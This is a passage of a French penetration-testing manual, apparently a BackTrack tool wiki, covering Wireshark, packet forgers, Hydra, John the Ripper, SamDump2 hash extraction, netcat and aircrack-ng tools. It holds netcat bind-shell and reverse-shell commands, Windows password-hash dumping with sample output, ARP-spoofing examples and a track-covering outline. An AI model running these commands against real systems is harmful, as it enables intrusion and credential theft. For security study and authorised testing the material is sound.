barre de filtrage secondaire permet, une fois les paquets capturés, d'inscrire des expressions de recherche. Ces expressions peuvent permettre par exemple d'afficher les communications vers une machine précise. Fenêtres des paquets Cette partie vitale, est affichée en plein au milieu. Elle est composée de 3 fenêtres, qui sont liées les unes aux autres. La première segmente en colonne chaque paquet par une information précise. Par défaut : No : Il s'agit du numéro du paquet (le nombre 1 est attribué au 1er paquet enregistré). Time : Le temps écoulé entre chaque paquet capturé (0 pour le premier). Source : L'IP source, émettrice du paquet. Destination : L'IP de destination, réceptrice du paquet. Protocol : Le protocole utilisé par ce paquet. Info : Informations complémentaires (ports/service, numéro de séquence,...). La seconde détaille le paquet sélectionné, de nombreuses informations sont proposées. Elle est segmentée dans la plus part des cas, en 4 arbres honrizontaux hiérarchisés. Note : celà peut légèrement varier selon le protocole Frame : Donne toutes les informations de temps et taille du paquet. Ethernet : Renseigne sur le matériel des auteurs du paquets. IP : Offre des informations sur la couche IP (IP source, IP destination, version, protocole...). TCP : Offre des informations sur la couche TCP (Port source, Port destination,checksum, flag...). La troisième affiche les données présentes dans le paquet, sous format hexadécimal, et décimal. Barre de status Simple barre, donnant des informations sur le projet courant, les statistiques basiques des paquets capturés, affichés, marqués, et effacés. Capturer des paquets Vous apprendrez ici à démarrer le sniffer, tout en prenant compte des diverses options qu'il propose. Voir le trafic des cartes réseau Vous pouvez juste avoir un aperçu du trafic sur chaque carte réseau, à partir du menu "Capture > Interface" Si vous cliquez sur "Start", le sniffing démarre ( On peut aussi y accéder par le menu "Capture > Start" ). Si vous cliquez sur "Option", vous pourrez accéder aux options du projet ( On pourrait aussi y accéder par le menu "Capture > Option" ). Les options de capture Les options de filtrage primaire Démarrer une capture de paquet Le démarrage de la capture se fera au travers du bouton "Start", il est accessible à travers divers menus et options. Quoi qu'il en soit, ce bouton lance le sniffing. Mode d'affichage La gestion de fichier Ouvrir/Sauvegarder des paquets réseaux Fusionner des fichiers Exporter les données vers un format Analyse des paquets Aperçus des paquets capturés Filtrer encore ses paquets Créer des expressions pour le filtrage Les différents protocoles ARP (Address Resolution Protocol) Le protocole ARP permet de faire la traduction d'une adresse IP en adresse physique (MAC). DHCPv6 DNS (Domain Name Server) Le protocole DNS traduit le nom de domaine en adresse IP. HTTP (HyperText Transfer Protocol) Les trames HTTP transitent sur le port 80. ICMP IGMP IRC (Internet Relay Protocol) MSNMS (MSN Messenger Service) RARP (Reverse Address Resolution Protocol) Le protocole RARP permet de faire la traduction d'un adresse physique (MAC) en adresse IP. SSDP Les trames SSDP transitent sur le port 1900. TCP (Transmission Control Protocol) UDP (User Datagram Protocol) #Driftnet DriftNet permet de capturer des images du trafic réseau et de les afficher dans une fenêtre X. Couplé à un MITM (Ettercap-ng) cet outil vous permet de voir toutes les images d'une cible donnée. Utilisation # driftnet [options] [filtre] Options -h Affiche ce message d'aide. -v verbeux. -i interface Sélectionnez l'interface sur laquelle écouter (par défaut: Tous) -p Ne mettez pas l'interface d'écoute en mode promiscuous. -a Mode adjoint: ne pas afficher les images sur l'écran, mais les mettre dans un répertoire temporaire et annoncer leurs noms sur la sortie standard. -m nombre Nombre maximum d'images à garder dans le répertoire temporaire en mode auxiliaire. -d répertoire Utilisez ce nom de répertoire temporaire. -x prefix Préfixe à utiliser lors de l'enregistrement d'images. -s Tente d'extraire des données audio écoutés à partir du réseau, en plus des images. À l'heure actuelle, unniquement compatible MPEG. -S Extrait l'audio seulement. -M command Use the given command to play MPEG audio data extracted with the -s option; this should process MPEG frames supplied on standard input. Default: `mpg123 -'. Filtre: Utilisation des filtres BPF FORGEUR/RELAYEUR DE PAQUET #Hping Manpages FR: hping2 est un outil réseau capable d'envoyer des paquets TCP/IP sur commande et d'afficher les réponses de la cible comme le programme ping le fait avec les réponses ICMP. hping2 traite la fragmentation, les contenus de paquets et les tailles arbitraires, et peut être utilisé dans le but de transférer des fichiers encapsulés dans les protocoles supportés. Usage hping host [options] Options -h --help afficher cette aide -v --version afficher la version -c --count nombre de packet(s) réseaux à envoyer -i --interval intervalle d'attente (uX pour X microseconde(s), par exemple -i u1000) --fast raccourcit pour -i u10000 (10 packets par seconde(s)) --faster raccourcit pour -i u1000 (100 packets par seconde(s)) --flood Envois les packet réseaux aussi vite que possible. N'affiche pas les réponses -n --numeric sortie en format numérique -q --quiet mode silencieux -I --interface nom de l'interface réseaux à utiliser (utilise l'interface de routage par défaut) -V --verbose mode bavard -D --debug informations de debbuguage -z --bind bind ctrl+z to ttl (default to dst port) -Z --unbind unbind ctrl+z --beep fait un beep sonore à chaques packets réseaux reçus Mode default mode TCP -0 --rawip mode RAW IP -1 --icmp mode ICMP More help is available use hping -h to see all parameters #Nemesis Nemesis est un forgeur de packets réseaux multi-protocoles. Usage nemesis [mode] [options] Modes arp dns ethernet icmp igmp ip ospf (currently non-functional) rip tcp udp Forger des paquets ARP/RARP ARP/RARP Utilisation: arp [-v (Mode bavard)] [options] ARP/RARP Options: -S <Adresse IP source> -D <Adresse IP destination> -h <Adresse MAC envoyer dans la trame ARP(spoof)> -m <Adresse MAC de la cible dans la trame ARP> -s <Solaris style ARP requests with target hardware addess set to broadcast> -r ({ARP,RARP} permet la réponse) -R (RARP activer) -P <Fichier du code exécutable> Data Link Options: -d <Nom de l'interface Ethernet> -H <Adresse MAC source> -M <Adresse IP destination> Forger des paquet IP IP Utilisation: ip [-v (Mode bavard)] [options] IP Options: -S <Adresse IP source> -D <Adresse IP destination> -I <IP ID> -p <IP numéro de protocole> -T <IP TTL> -t <IP TOS> -F <IP Options de fragmentation > -F[D],[M],[R],[offset] -O <IP Fichier d'options> -P <Fichier du code exécutable> Data Link Options: -d <Nom de l'interface Ethernet> -H <Adresse MAC source> -M <Adresse IP destination> Exemples Paquet ARP: nemesis arp -S 10.0.0.50 -D 10.0.0.1 -h 00:11:22:33:44:55 L'équipement 10.0.0.1 va recevoir une requête ARP de type: Who has 10.0.0.1 tell 10.0.0.50 Celui-ci va répondre: 10.0.0.1 is at 00:01:29:D5:AE:d5 Et par la même occasion ajouter l'adresse MAC de 10.0.0.50 dans sa table ARP: C:\>arp -a Interface : 10.0.0.1 --- 0x2 Adresse Internet Adresse physique Type 10.0.0.50 00-11-22-33-44-55 dynamique #Scapy Scapy est un outil Open Source écrit en python par Philippe Biondi. Cet utilitaire permet de manipuler, forger, décoder, émettre, recevoir les paquets d’une multitude de protocoles (ARP, DHCP, DNS, ICMP, IP...). Il peut facilement manipuler la plupart des tâches classiques comme le scan, tracerouting, des investigations, des attaques ou la découverte de réseau (il peut remplacer hping, une infime partie de nmap, arpspoof, arp-sk, arping, tcpdump, WireShark, p0f, etc). Il permet d’exécuter des tâches spécifiques que la plupart des autres outils ne sont pas capable de traiter, comme envoyer des trames invalides, injecter ses propres trames 802.11, combiner des techniques (VLAN hopping+ARP cache poisoning, VOIP decoding sur canal chiffré en WEP...). Source: SOH Installation apt-get install python-scapy Usage scapy.py [-s sessionfile] [-c new_startup_file] [-p new_prestart_file] [-C] [-P] -C: do not read startup file -P: do not read pre-startup file SESSION D’AUHENTIFICATION #Hydra/Hydra-gtk Hydra est un brute force en ligne (ou en local), développé par la team THC. Selon ses auteurs, il serait le meilleur outil de sa catégorie. Il supporte de nombreux services d’authentification tels que ftp, pop3, imap, telnet, http, icq, mysql, vnc.... Hydra est d’ailleur inclus dans Nessus et dispose d’un support pour le ssh. Ce programme est disponible en ligne de commande (Hydra), et en mode graphique (Xhydra, anciennement Hydra-gtk). Version actuelle : 5.4 Utilisation d'Hydra (mode texte) Usage hydra <options> <service> Options disponibles ... Exemples d'utilisation Test de la sécurité de son server ftp. Lorsque l'on connait un utilisateur du serveur FTP, on peut le saisir dans la ligne de commande (option -l user) et ne baser l'attaque que par dictionnaire de mot (-P pass.txt). Si l'on ne connait pas l'utilisateur, l'attaque sera basé sur un dictionnaire de nom (option -L user.txt) et un de mot (-P pass.txt). Attention aux majuscules/minuscules dans la ligne de commande. Utilisation d'Xhydra (mode graphique) En mode graphique, l’utilisation de Xhydra est très simple. Celle-ci s’utilise en remplissant pas à pas des informations précises. Elles se divisent en cinq parties : Target Single Target : Si vous n’avez qu’une cible, identifiez-la par son host, ou IP Target List : Si vous avez une multitude de cibles, donnez le fichier de cette liste. Port : Port du service d’authentification Protocole : Pour connaitre le protocole qui gère le service Use ssl : Supporter le ssl (uniquement pour les services sécurisés) Be Verbose : Xhydra vous donnera le maximum de détail sur ce qu’il fait. Show Attempts : Montrer toutes les tentatives du logiciel. Debug : Permettre la gestion d’erreurs. Password Username : Si vous connaissez l’utilisateur, entrez son nom Username list : Dans le cas contraire, mettez le fichier qui contient une liste user (Plus elle est grande, plus il y aura de chance) Password : Si vous connaissez le password, entrez le. Password list : Dans le cas contraire, donnez une liste (même principe que "username list") Try login as password : utiliser le login actuel comme password Try empty password : utiliser le login actuel sans password Tuning Number of Task : Nombre de tâches en parallèle Timeout : Temps de réponse maximum Exit after first found pair : Fermer après avoir trouvé un login et pass valide Vous pouvez utiliser un proxy (http/https) avec ou sans authentification (selon le type de proxy) dans la section Use a HTTP/HTTPS Proxy, et selon la méthode simple, ou la méthode CONNECT (pour les tunnels). Spécific Start #John The Ripper John The Ripper est un perceur (cracker) de mot de passe en local. Il est disponible sur plusieurs distributions. Sa particularité réside principalement dans sa rapidité à casser les différents chiffrements asymétriques (hashs md5, lm...) en consommant très peu de ressources, ce qui le classe parmi les meilleurs outils ! Il tentera dans un premier temps de détecter les mots de passe faibles (Attaque par dictionnaire), puis ensuite agir de façon ingénieuse (Attaque hybride). Version actuelle : 1.7.2 Options de base Pour faire fonctionner john, vous devez simplement lui fournir un fichier contenant les passwords, et éventuellement un mode de crackage. user ~ # john password Pour le forcer à utiliser votre dictionnaire avec ses règles : user ~ # john --wordlist=password.lst --rules passwd Pour continuer une session interrompue, tapez : user ~ # john --restore Une fois fini, vous pourrez consulter les mots de passe en tapant : user ~ # john --show password Personnaliser son fonctionnement Les modes Différents modes sont disponibles dans jtr, ces modes sont par défaut lors d'une session appliqués les uns après les autres. Simple Mode très rapide, qui génère des mots de passe en fonction du login, et du GECOS (prénom, nom de l'utilisateur; ex : Aretha Connery). Ce dernier est sujet à des règles de modification, écrites dans le fichier conf. Dictionnaire Ce mode permet de spécifier un dictionnaire. Incrémental Mode permettant de générer toutes les combinaisons possibles. On peut le limiter à un nombre de caractère, et le resteindre à un charset précis. Externe Autre mode personnalisé crée par l'utilisateur. Fichier de configuration Charsets Tous (All) Lettre (Alpha) Nombre (Digits) Lettre & Nombre (Alnum) Lanman Créer son propre charset Générer un dictionnaire avec john Vous pouvez par exemple, vouloir éviter les doublons dans un dictionnaire : ./john --wordlist=/pentest/password/dictionaries/all --stdout | uniq > dico.lst Vous pouvez utiliser également le mode incrémental (mode alpha-numérique), et restreindre la taille à 6 caractères : ./john --incremental=alnum --stdout=6 > dico.lst #BkHive BkHive permet de récupérer la clé syskey d'un système Windows à partir de la ruche système puis de la sauvegarder dans un fichier pour pouvoir la réutiliser avec SamDump2 par exemple. Utilisation # bkhive RucheSysteme FichierCle Exemples Sur une installation Windows "standard" la ruche système se trouve à: C:\WINDOWS\system32\Config\system . Dans un environnement Windows on peut utiliser le chemin suivant: %SystemRoot%\system32\Config\system bt ~ # bkhive /mnt/sda2/windows/system32/config/system syskey bkhive 1.1.1 by Objectif Securite http://www.objectif-securite.ch original author: [email protected] Root Key : $$$PROTO.HIV Default ControlSet: 001 Bootkey: 861606476072d7cc56fba075e732894e Un fichier syskey a été créé dans le répertoire courant, celui-ci pourra être utilisé avec SamDump2. #SamDump2 SamDump2 décrypte la base SAM d'un système Windows à l'aide de la clé (syskey) récupérée par BkHive. Puis l'outil nous renvoie le hash des mots de passe ainsi que le nom d'utilisateur associé. Ce qui permet de casser le mot de passe avec Ophcrack par la suite. Utilisation # samdump2 RucheSAM FichierCle Exemples Sur une installation Windows "standard" la ruche SAM ce trouve à: C:\WINDOWS\system32\Config\SAM . Dans un environnement Windows on peut utiliser le chemin suivant : %SystemRoot%\system32\Config\SAM bt ~ # samdump2 /mnt/sda2/windows/system32/config/sam syskey samdump2 1.1.1 by Objectif Securite http://www.objectif-securite.ch original author: [email protected] Root Key : SAM Administrateur:500:6de5034902bfd923aad3b435b51404ee:289e6b95795330953a90ab971e0599d7::: Invité:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: shutdown76:1015:6de5034902bfd923aad3b435b51404ee:289e6b95795330953a90ab971e0599d7::: SamDump2 nous renvoie les utilisateurs et mot de passe de la base SAM décryptés il ne reste plus qu'a utiliser Ophcrack pour obtenir les mots de passe en clair. #Ophcrack OphCrack est un casseur(cracker) de mot de passe windows basé sur les rainbow tables qu’il intégre très efficacement. On peut le considérer comme le meilleur dans son domaine. Son interfaçe est graphique, utilise GTK, ce qui permet d’être portable sur plusieurs systèmes (dont linux, windows, mac-os). Ses principales caractéristiques sont de charger aisément les hashs du fichier chiffré SAM. Il peut également lancer une attaque sur un simple hash. Les fonctions de hachage prisent en charge sont le LN et NTLM. Version actuelle : 2.3.4 Utiliser OphCrack Comme mentionné dans l’introduction, OphCrack utilise les RainbowTables, or elles ne sont pas inclus dans backtrack à cause de leur taille. Il vous foudra visualiser l’article des RainbowTables pour plus d’informations L’utilisation du logiciel est simple. On peut lancer soit un simple hash, soit charger le répertoire SAM (contenant l’ensemble des comptes). Le répertoire par défault est $windowspath/WINDOWS/system32/config/ Avant de lancer une session il faudra avoir préalablement charger les tables de hash : Le répertoire par défault est /usr/local/share/ophcrack/10000 Une fois de retour sur la fenêtre principale, il ne vous restera plus qu’à le démarrer, à travers la bouton “Launch“. Selon la longueur et la difficulté du mot de passe, le temps varie, en moyenne celà ne devrait pas durer plus de 10minutes pour un mot de passe faible. MAINTIEN D'ACCÈS / COUVERTURE DE TRACES Introduction aux méthodes de maintien d'accès et de couverture de trace Maintien d'accès Les Rootkits User-land : ring 3 Kernel-land : ring 0 Nettoyage de trace Manipuler les fichiers logs utmp wtmp btmp lastlog Historiques de commande Horodatage des fichiers Dernier accès Dernière modification Dernier changement Système de surveillance / Gestion de log Syslog Logrotate Programmes externes de sécurité #Cryptcat Cryptcat est le clone de netcat, à la seule condition que ce dernier chiffre ses communications(algorithme Twofish). En effet, netcat laisse passer en clair les commandes, ce qui devient un facteur négatif pour camoufler ses agissements. Il est donc nettement préférable d'utiliser Cryptcat. Cryptcat utilise exactement les mêmes commandes que Netcat. #Netcat Wikipidia : Netcat est un utilitaire permettant d'ouvrir des connexions réseau, que ce soit UDP ou TCP. Il est conçu pour être incorporé aisément dans un large panel d'applications. En raison de sa polyvalence, netcat est aussi appelé le « couteau suisse TCP/IP ». Il existe sur plusieurs systèmes d'exploitation et s'utilise en ligne de commande. Il peut être utilisé pour connaître l'état des ports à la façon d'un scan de ports. Les paramètres peuvent comprendre une plage de ports et une variation aléatoire plutôt qu'un scan d'ordre décroissant par défaut. Il existe aussi une option qui permet d'envoyer des packets source-routed, des packets qui sont envoyés via des routers dont on spécifie les IPs. Usage Se connecter à un serveur(mode client) : nc [-options] hostname port[s] [ports] ... Attendre les connections(mode serveur) : nc -l -p port [-options] [hostname] [port] Se connecter via tunnel(mode client): netcat -L hostname:port -p port [options] Options -c, --close close connection on EOF from stdin -e, --exec=PROGRAM program to exec after connect -g, --gateway=LIST source-routing hop point[s], up to 8 -G, --pointer=NUM source-routing pointer: 4, 8, 12, ... -h, --help display this help and exit -i, --interval=SECS delay interval for lines sent, ports scanned -l, --listen listen mode, for inbound connects -L, --tunnel=ADDRESS:PORT forward local port to remote address -n, --dont-resolve numeric-only IP addresses, no DNS -o, --output=FILE output hexdump traffic to FILE (implies -x) -p, --local-port=NUM local port number -r, --randomize randomize local and remote ports -s, --source=ADDRESS local source address (ip or hostname) -E, --tls use tls -f, --cafile=FILE CA certificate file to auth the peer -F, --capath=PATH CA certificate dir to auth the peer -K, --dontcheckhost don't check hostname with certificate data -R, --cert=FILE use certificate file (listen mode) -k, --key=FILE use private key (listen mode) -t, --tcp TCP mode (default) -T, --telnet answer using TELNET negotiation -u, --udp UDP mode -v, --verbose verbose (use twice to be more verbose) -V, --version output version information and exit -x, --hexdump hexdump incoming and outgoing traffic -w, --wait=SECS timeout for connects and final net reads -z, --zero zero-I/O mode (used for scanning) Remote port number can also be specified as range. Example: '1-1024' Exemples Se connecter sur le port 80 d'un serveur web local(192.168.1.14), en activant le mode verbose : $ netcat -v 192.168.1.14 80 Netcat : Bindshell Vous pouvez mettre en place un Bindshell(Attacher un shell à netcat) pour s'en servir par exemple comme trojan. Image que l'on met netcat en écoute(sur le port 59330), sur un ordinateur cible (du type Microsoft Windows), auquel on relie un terminal(cmd.exe) : netcat -lvvp 59330 -e cmd.exe Il suffira alors de se connecter sur le serveur, et taper des commandes, exactement comme si nous étions sur la machine cible. Dans le screen suivant, vous voyez le serveur écouter sur le port 59330, en y attachant un shell(ici sous linux : /bin/sh). Le client se connecte, et lance la commande ls, ce qui liste évidemment les fichiers. Netcat : Reverse-shell Imaginez maintenant le scénario inverse. Vous voulez toujours établir un shell, mais pour une raison x ou y, vous ne pouvez mettre de serveur en écoute sur la machine cible(Par exemple à cause d'un firewall qui refuse les paquets entrants), la solution est alors d'établir un Reverse-Shell. C'est à dire que le serveur ce sera vous, et le client la machine cible. Sur la machine cible on lancera une commande de type : netcat -vv xxx.xxx.xxx.xxx yyyyy -e SHELL Où l'ensemble des x définit votre adresse IP, et les y le port sur lequel vous avez mis le serveur. Evidemment, pour avoir le shell, il faut préciser l'option '-e, suivit du chemin vers le shell. Dans l'exemple suivant, nous avons créés un serveur en écoute sur le port 59330 en local, et un client se connecte, vous pourrez remarquer que le serveur dispose d'un shell(la commande ls est utilisé). Les notions de bindshell et revershell reviennent souvent dans le monde de la sécurité, notamment dans le domaine des exploits, où les shellcodes établissent la pluspart du temps un reverse shell pour contrer la restriction d'un réseau(Celà est relatif en fonction des règles du Firewall). ANALYSE DE RÉSEAU SANS FIL Introduction aux réseaux sans fil 1 Introduction 2 Le Wi-Fi 2.1 WEP 2.2 WPA 3 Le Bluetooth 4 Liens externes Introduction Les réseaux sans fil nous envahissent sans que nous ayons la moindre sensation de leurs présences. Ces ondes radioélectriques parcourent les airs jusqu'à la limite de leur puissance. Mis en place pour régler les problèmes de cablage, ils séduisent de nombreux internautes. Ainsi un simple client d'un fournisseur peut disposer dans son boitier adsl, d'un émetteur d'onde, lui permettant de relier les ordinateurs au travers d'un réseau domestique. Pour clarifier les problèmes d'interférence, de conflit, et d'écoute (car d'autres services comme les militaires les utilise), des normes ont été mis en place. Par exemple, il n'est officiellement pas possible d'écouter la fréquence des gendarmes. C'est pour cela, qu'on a mis en place des plages de fréquence qu'on attribue en fonction de ce qu'on y pratique (Et quand bien même vous y arrivez, ces communications sont pour la plus part sécurisés). Le Wi-Fi Extrait de [wikipédia] : Le wifi ou wi-fi (prononcé /wifi/) est une technologie de réseau informatique sans fil mise en place pour fonctionner en réseau interne et, depuis, devenue un moyen d'accès à haut débit à Internet. Il est basé sur la norme IEEE 802.11 (ISO/CEI 8802-11) [Lire la suite]. Le Wi-Fi est basé sur les fréquences 2.4GHz et sécurisé par des différents cryptages plus ou moins sûrs (wep, wpa). WEP Voici la définition par Wikipédia : Le Wired Equivalent Privacy (abrégé WEP) est un protocole obsolète pour sécuriser les réseaux sans-fil de type Wi-Fi. Les réseaux sans-fil diffusant les messages échangés par ondes radioélectriques, sont particulièrement sensibles aux écoutes clandestines. Le WEP tient son nom du fait qu'il devait fournir aux réseaux sans-fils une confidentialité comparable à celle d'un réseau local filaire classique. Cependant, plusieurs faiblesses graves ont été identifiées par les cryptologues. Le WEP est parfois surnommé avec le sobriquet de Weak Encryption Protocol. Le WEP a donc été supplanté par le WPA en 2003, puis par le WPA2 en 2004 (WPA2 est la version de la norme IEEE 802.11i certifiée par la Wi-Fi Alliance). Malgré ses faiblesses intrinsèques, le WEP fournit un niveau de sécurité minimal qui peut décourager les attaquants les moins expérimentés, quoique l'on peut trouver aujourd'hui des utilitaires de cracking de réseaux WEP. WPA Voici la définition par Wikipédia : Wi-Fi Protected Access (WPA et WPA2) est un mécanisme pour sécuriser les réseaux sans-fil de type Wi-Fi. Ils ont été créés en réponse aux nombreuses et sévères faiblesses que des chercheurs ont trouvées dans le mécanisme précédent, le WEP. WPA respecte la majorité de la norme IEEE 802.11i et a été prévu comme une solution intermédiaire pour remplacer le WEP en attendant que la norme 802.11i soit terminée. WPA a été conçu pour fonctionner, après mise à jour de leur micro-logiciel, avec toutes les cartes Wi-Fi, mais pas nécessairement avec la première génération des points d'accès Wi-Fi. WPA2 quant à lui respecte la norme entière, mais ne peut pas être implémenté sur les matériels anciens. Les deux mécanismes fournissent une bonne sécurité, si l'on respecte deux points importants : L'utilisateur doit encore souvent faire le choix explicite d'activer WPA ou WPA2 en remplacement du WEP, car le WEP reste habituellement le choix de chiffrement par défaut sur la plupart des équipements. lorsque le mode Personal (le choix le plus probable pour les individuels et les PME) est utilisé, une phrase secrète plus longue que les classiques mots de passe de 6 à 8 caractères utilisés par les utilisateurs est nécessaire pour assurer une sécurité complète. Le Bluetooth Extrait de [wikipédia] : Bluetooth est une spécification de l'industrie des télécommunications. Elle utilise une technologie radio courte distance destinée à simplifier les connexions entre les appareils électroniques. Elle a été conçue dans le but de remplacer les câbles entre les ordinateurs et les imprimantes, les scanners, les claviers, les souris, les téléphones portables, les PDA, les autoradios et les appareils photo numériques. #Airmon-ng Usage airmon-ng <start|stop|check> <interface> [channel or frequency] Exemple d'utilisation airmon-ng start wlan0 wlan0 est l'interface WiFi. Résultats Deux cas sont possibles : soit le mode monitor est directement disponible sur l'interface wlan0 ; soit le monitoring sera disponible sur l'interface virtuelle mon0 créée par Airmon-ng, dans ce cas il faudra utiliser l'interface mon0 pour injecter des paquets. #Airodump-ng Airodump-ng fait partie de la suite Aircrack-ng, dédié à l’audit 802.11, ses fonctionnalités le dotent à la fois d’un scanner et d’un sniffer réseau dans le but d’en retirer les informations qui le comprometteront. Sa part de travail dans un crackage de clé WEP, consiste à récupérer le maximum d’IVS. RTFM. La page concernant la suite d’aircrack-ng vous donnera plus de détails sur les nouvelles caractéristiques dont se dote cette nouvelle génération d’outils. Attention, pour utiliser airodump-ng, assurez vous d’être équipé d’une carte supportant le mode monitoring. Pour cela, utilisez airmon-ng. Version actuelle : 0.9 Usage airodump-ng <options> <interfaçe>[,<interface>,...] Options --ivs : Enregistre seulement les paquets IV's capturés. (-i). --gpsd : Utilise GPSd. (-g). --write <prefix> : Ecrit le résultat dans le fichier nommé "prefix". (-w). --beacons : Ajoute les beacons dans le fichier (-e). --netmask <netmask> : Filtre les points d'acces par leur masque. (-m). --bssid <bssid> : Filtre les points d'acces par leur BSSID. (-d). --encrypt <suite> : Filtre les points d'acces par leur cypher suite. (-t). -a : filtre les clients non -associés Par défaut, airodump-ng saute sur les canaux 2.4Ghz. Vous pouvez le faire capturer sur d'autres canaux en utilisant: --channel <channels>: Capture sur un canal spécifique. (-c). --band <abg> : Fréquence sur laquelle airodump-ng devrait sauter. (-b). --cswitch <method> : Définit la méthode de saut de canaux. (-s). 0 : FIFO (default) 1 : Round Robin 2 : Hop on last Exemples Scanner/Rechercher tous les réseaux airodump-ng rausb0 Récupérer les IVS sur un canal L’exemple suivant scannera le canal 6, et enregistrera tous les IVs dans le fichier nommé scan à travers l’interfaçe rausb0. airodump-ng -w scan --ivs --channel 6 rausb0 nb: depuis la version 0.9, il n' est plus nésessaire d' employer la commande --ivs, on capturera les données en .cap cf: aircrack-ptw intergré dans aircrack-ng 0.9 & versions supérieures. #Darkstat Installation apt-get install darkstat Usage darkstat [ -i interface ] [ -r file ] [ --pppoe ] [ --verbose ] [ --no-daemon ] [ --no-promisc ] [ --no-dns ] [ --no-macs ] [ -p port ] [ -b bindaddr ] [ -f filter ] [ -l network/netmask ] [ --chroot dir ] [ --user username ] [ --daylog filename ] [ --import filename ] [ --export filename ] [ --pidfile filename ] [ --hosts-max count ] [ --hosts-keep count ] [ --ports-max count ] [ --ports-keep count ] [ --highest-port port ] #Kismet Kismet est un sniffer et un détecteur d'intrusion. Il fonctionne avec toutes les cartes supportant le monitoring (rfmon) et peut sniffer le trafic 802.11b, 802.11a, et 802.11g. Kismet est composé d'un serveur et d'un client (par défaut l'accès est restreint à l'adresse local) ce qui permet à plusieurs utilisateurs de voir un seul serveur Kismet simultanément. Usage Par le menu : Backtrack -> Radio Network Analisys -> 80211 -> all -> Kismet Pour lancer kismet via la console : kismet [OPTION] Toutes ces options peuvent être configurées dans /usr/local/etc/kismet.conf. -I, --initial-channel <n:c> Initial channel to monitor on (default: 6) Format capname:channel -x, --force-channel-hop Forcibly enable the channel hopper -X, --force-no-channel-hop Forcibly disable the channel hopper -t, --log-title <title> Custom log file title -n, --no-logging No logging (only process packets) -f, --config-file <file> Use alternate config file -c, --capture-source <src> Packet capture source line (type,interface,name) -C, --enable-capture-sources Comma separated list of named packet sources to use. -l, --log-types <types> Comma separated list of types to log, (ie, dump,cisco,weak,network,gps) -d, --dump-type <type> Dumpfile type (wiretap) -m, --max-packets <num> Maximum number of packets before starting new dump -q, --quiet Don't play sounds -g, --gps <host:port> GPS server (host:port or off) -p, --port <port> TCPIP server port for GUI connections -a, --allowed-hosts <hosts> Comma separated list of hosts allowed to connect -b, --bind-address <address> Bind to this address. Default INADDR_ANY -r, --retain-monitor Leave card in monitor mode on exit -s, --silent Don't send any output to console. -N, --server-name Server name --daemonize Background server in daemon mode -v, --version Kismet version -h, --help What do you think you're reading?); Pour lancer le client kismet via la console : kismet_client [OPTION] Toutes ces options peuvent être configurées dans /usr/local/etc/kismet.conf. -f, --config-file <file> Use alternate config file -u, --ui-config-file <file> Use alternate UI config file -q, --quiet Don't play sounds -s, --server <host:port> Connect to Kismet host and port -g, --gui <type> GUI type to create (curses, panel) -c, --columns <list> Columns to display initially (comma seperated) -r, --reconnect Try to reconnect after the client/server connection fails. -C, --client-columns <list> Columns to display for client info -v, --version Kismet version -h, --help What do you think you're reading? Configuration Dans BackTrack 3 beta , il faut éditer le fichier /usr/local/etc/kismet.conf et spécifier la source (liste des sources et compatibilités): (Pour la version installer, il faut ajouter la ligne) source=driver,interface,vendeur[,cannal] Exemple : source=rt73,rausb0,Ralink Il est possible de récupérer ces informations à l'aide de airmon-ng. Vous pouvez spécifier autant de sources que d'interfaces disponibles. Le canal initial est optionnel (si le channelHopping est désactivé) et permet de définir le canal a écouter par le biais de l'interface. Pour une utilisation sans modification, ouvrir un shell et activez le mode monitor (airmon-ng), puis tapez : kismet -c rt73,rausb0,Ralink (pour une clé avec chipset ralink rt73) kismet -c madwifi_g,wifi0,ath1 (pour une clé avec chipset atheros) etc ... Pour fixer kismet sur un channel, ouvrir le fichier kismet.conf et modifier la ligne : channelhop=false Il ne vous restera plus qu'à lancer kismet en fesant : kismet -c madwifi_g,wifi0,ath1,6 Dans cette exemple, la carte wifi est à chipset atheros, "6" fait réference au channel 6 Interface Pour afficher l'interface d'aides tapez h (quand kismet est lancé) QUICK REFERENCE Key Action e List Kismet servers z Toggle fullscreen zoom of network view m Toggle muting of sound and speech t Tag (or untag) selected network g Group tagged networks u Ungroup current group c Show clients in current network L Lock channel hopping to the current network channel H Return to normal channel hopping +/- Expand/collapse groups ^L Force a screen redraw. POPUP WINDOWS h Help (What you're looking at now) n Name current network i Detailed information about selected network s Sort network list l Show wireless card power levels d Dump printable strings r Packet rate graph a Statistics p Dump packet type f Follow network center w Track alerts x Close popup window Q Quit Légende Network/Group types (T): P Probe request - no associated connection yet A Access point - standard wireless network H Ad-hoc - point-to-point wireless network T Turbocell - Turbocell aka Karlnet or Lucent Rout O Lucent - Lucent Outdoor Router network G Group - Group of wireless networks D Data - Data only network with no control packets. Client types (T): F From DS - client broadcast from wireless distribution system T To DS - client transmitted over the wireless to the distribution system I Intra DS - client is a node of the distribution system talking to another node in the distribution system E Established - client has been seen entering and leaving the DS - Unknown - client is in an unknown state Type of Encryption (W): N No encryption in use Y WEP encryption on use O Other encryption in use (e.g. LEAP) Status Flags: F Vulnerable factory configuration. T# Address range of # octets found via TCP traffic U# Address range of # octets found via UDP raffic A# Address range of # octets found via ARP traffic D Address range found via observed DHCP traffic Colour Network/Client Type: Yellow Unencrypted Network Red Factory default settings in use! Green Secure Networks (WEP, WPA etc..) Blue SSID cloaking on / Broadcast SSID disabled #Aireplay-ng Aireplay-ng fait partie de la suite d’aircrack-ng. Il permet d’écouter et d’injecter des paquets dans un réseau. Les différentes options permettent entre autres de définir les adresses MAC de la source et de la destination des paquets injectés. RTFM. Le programme est disponible en ligne de commande. La carte 802.11b/g utilisé doit supporter le mode Monitoring. Différentes méthodes de configuration sont disponibles ici. Version actuelle : 0.9 Usage aireplay-ng <options> <interface d'injection> Options Les options d'écoute -b bssid : adresse MAC du point d’accès -d dmac : adresse MAC de la destination -s smac : adresse MAC de la source -m len : longueur minimum des paquets -n len : longueur maximal des paquets -u type : frame control, type field -v subt : frame control, subtype field -t tods : frame control, To DS bit -f fromds : frame control, From DS bit -w iswep : frame control, WEP bit Les options d'injection -x nbpps : nombre de paquets par seconde -p fctrl : set frame control word (hex) -a bssid : adresse MAC du point d’accès -c dmac : adresse MAC de la destination -h smac : adresse MAC de la source -e essid : attaque par fausse authentification : SSID du réseau cible -j : attaque par injéction d'arp : inject FromDS pkts -g valeur : change ring buffer size (default: 8) -k IP : set destination IP in fragments -l IP : set source IP in fragments -o npckts : nombre de paquets par (-1) -q sec : seconde entre keep-alives (-1) -y prga : keystream for shared key auth Les options de gestion -i iface : capture les paquets à partir de cette interface -r fichier : extrait les paquets à partir de ce fichier Modes d'attaques --deauth count : déauthentification de une ou toutes les stations (-0) 